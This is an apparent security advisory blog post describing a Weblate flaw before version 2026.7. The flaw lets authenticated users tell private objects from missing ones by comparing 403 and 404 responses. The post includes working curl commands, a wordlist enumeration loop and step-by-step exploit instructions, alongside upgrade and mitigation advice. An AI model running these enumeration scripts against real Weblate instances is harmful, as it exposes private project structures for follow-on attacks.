Listen to this Post
Weblate is a web-based continuous localization platform used to manage software translations across teams and projects. In versions prior to 2026.7, several API endpoints and view functions perform object lookups in a globally scoped manner rather than restricting the lookup to projects the requesting user can actually access. When an authenticated but unauthorized user attempts to retrieve details about an object belonging to a private project they do not have permission to view, the system correctly denies access but does so by returning an HTTP 403 Forbidden status code. In contrast, when the requested object does not exist at all — regardless of project scope — the system returns an HTTP 404 Not Found.
This seemingly minor distinction in HTTP status codes creates a reliable side‑channel that allows attackers to infer whether a given object exists inside a private Weblate project. By iterating over known or guessable object identifiers (such as project slugs, translation component IDs, or user handles), an attacker can send a series of authenticated requests and observe the returned status code. A 403 response confirms that the object exists but is protected; a 404 response indicates that the object does not exist at all. This binary feedback enables precise enumeration of internal project structures without requiring any direct read access to the content itself.
The vulnerability stems from a failure to follow the secure design principle of returning identical HTTP status codes for both non‑existent resources and existing resources that the user is not authorized to see. In properly secured applications, both scenarios should return 404 Not Found, thereby obscuring the existence of protected objects from unauthorized actors. The global scope of the lookup logic — which checks object existence across all projects before enforcing project‑level permissions — is the root cause of this discrepancy.
This issue affects all Weblate deployments running versions earlier than 2026.7. The vulnerability has been assigned CWE‑203 (Observable Discrepancy) and carries a CVSS 3.1 base score of 4.3 with a Medium severity rating. The attack vector is network‑based, requires low privileges, and needs no user interaction. While the confidentiality impact is rated as Low, the information leaked can serve as a reconnaissance enabler for more severe follow‑on attacks, including privilege escalation or targeted exploitation of other flaws in identified resources. The issue has been fixed in version 2026.7.
DailyCVE Form:
Platform: WeblateOrg/weblate
Version: < 2026.7
Vulnerability: Observable Object Existence Disclosure
Severity: Medium (CVSS 4.3)
Date: 2026-08-26
Prediction: 2026-07-31
What Undercode Say:
Check if a specific project slug exists in a private Weblate instance
Replace TARGET with actual project slug and BASE_URL with your Weblate URL
BASE_URL="https://weblate.example.com"
API_TOKEN="your_api_token_here"
Attempt to fetch a project – 403 means it exists (but forbidden), 404 means it does not exist
curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Token $API_TOKEN" \
"$BASE_URL/api/projects/TARGET/"
Enumerate possible project slugs from a wordlist
while read slug; do
status=$(curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Token $API_TOKEN" \
"$BASE_URL/api/projects/$slug/")
if [ "$status" -eq 403 ]; then
echo "[bash] $slug (private/protected)"
elif [ "$status" -eq 404 ]; then
echo "[NOT FOUND] $slug"
fi
done < project_slugs.txt
Check translation component existence under a known private project
COMPONENT="translations"
curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Token $API_TOKEN" \
"$BASE_URL/api/projects/PRIVATE_PROJECT/components/$COMPONENT/"
The same logic applies to other endpoints – e.g., user objects, change history, etc.
Attacker can build a complete map of existing objects within private projects
without ever reading the actual content.
Exploit: (Educational Purposes!)
- Identify a target Weblate instance running a version prior to 2026.7.
- Obtain or create a low‑privileged user account on the instance (authentication is required, but no special permissions are needed).
- Enumerate a set of candidate object identifiers (project slugs, component names, user IDs, translation keys) — these can be guessed from naming conventions, public references, or by brute‑forcing sequential numeric IDs.
- For each candidate, send an authenticated GET request to the corresponding API endpoint (e.g.,
/api/projects/{slug}/,/api/projects/{slug}/components/{component}/,/api/users/{id}/).
5. Record the HTTP status code returned:
- 403 Forbidden → the object exists but is hidden behind access controls.
- 404 Not Found → the object does not exist.
- Compile the list of 403 responses to build a complete inventory of private project objects, including project names, component structures, and user accounts, without ever accessing the actual data.
- Use this enumerated inventory to plan further attacks, such as targeting specific high‑value projects for privilege escalation or exploiting other vulnerabilities in the identified components.
Protection:
- Immediate Action: Upgrade Weblate to version 2026.7 or later, which contains the fix that corrects the global‑scope lookup behavior.
- Workaround (if upgrade is not immediately possible): Implement a reverse proxy or Web Application Firewall (WAF) rule that intercepts API responses and rewrites all 403 status codes to 404 for the affected endpoints — though this is a partial mitigation and does not address the underlying logic flaw.
- Long‑term Best Practice: Ensure that all endpoints enforcing access control consistently return HTTP 404 Not Found for both non‑existent resources and resources the user is not authorized to view, thereby eliminating the observable discrepancy.
- Monitoring: Review access logs for unusual patterns of 403/404 responses from a single user or IP address, which may indicate reconnaissance activity.
Impact:
- Information Disclosure: Unauthorized users can enumerate objects (projects, components, users, translation resources) that exist within private Weblate projects.
- Reconnaissance Enabler: The leaked existence metadata allows attackers to map internal project structures and identify high‑value targets for subsequent attacks.
- Privilege Escalation Preparation: By knowing exactly which objects exist, attackers can focus their efforts on exploiting other vulnerabilities in those specific resources, potentially leading to unauthorized data access or system compromise.
- Compliance Risk: For organizations handling proprietary translations or sensitive intellectual property, the ability to enumerate private project contents may violate data protection policies and regulatory requirements.
- No Direct Data Breach: The vulnerability does not expose the actual content of translation files or project data — only the existence of objects is revealed. However, this information is often sufficient to mount more damaging attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
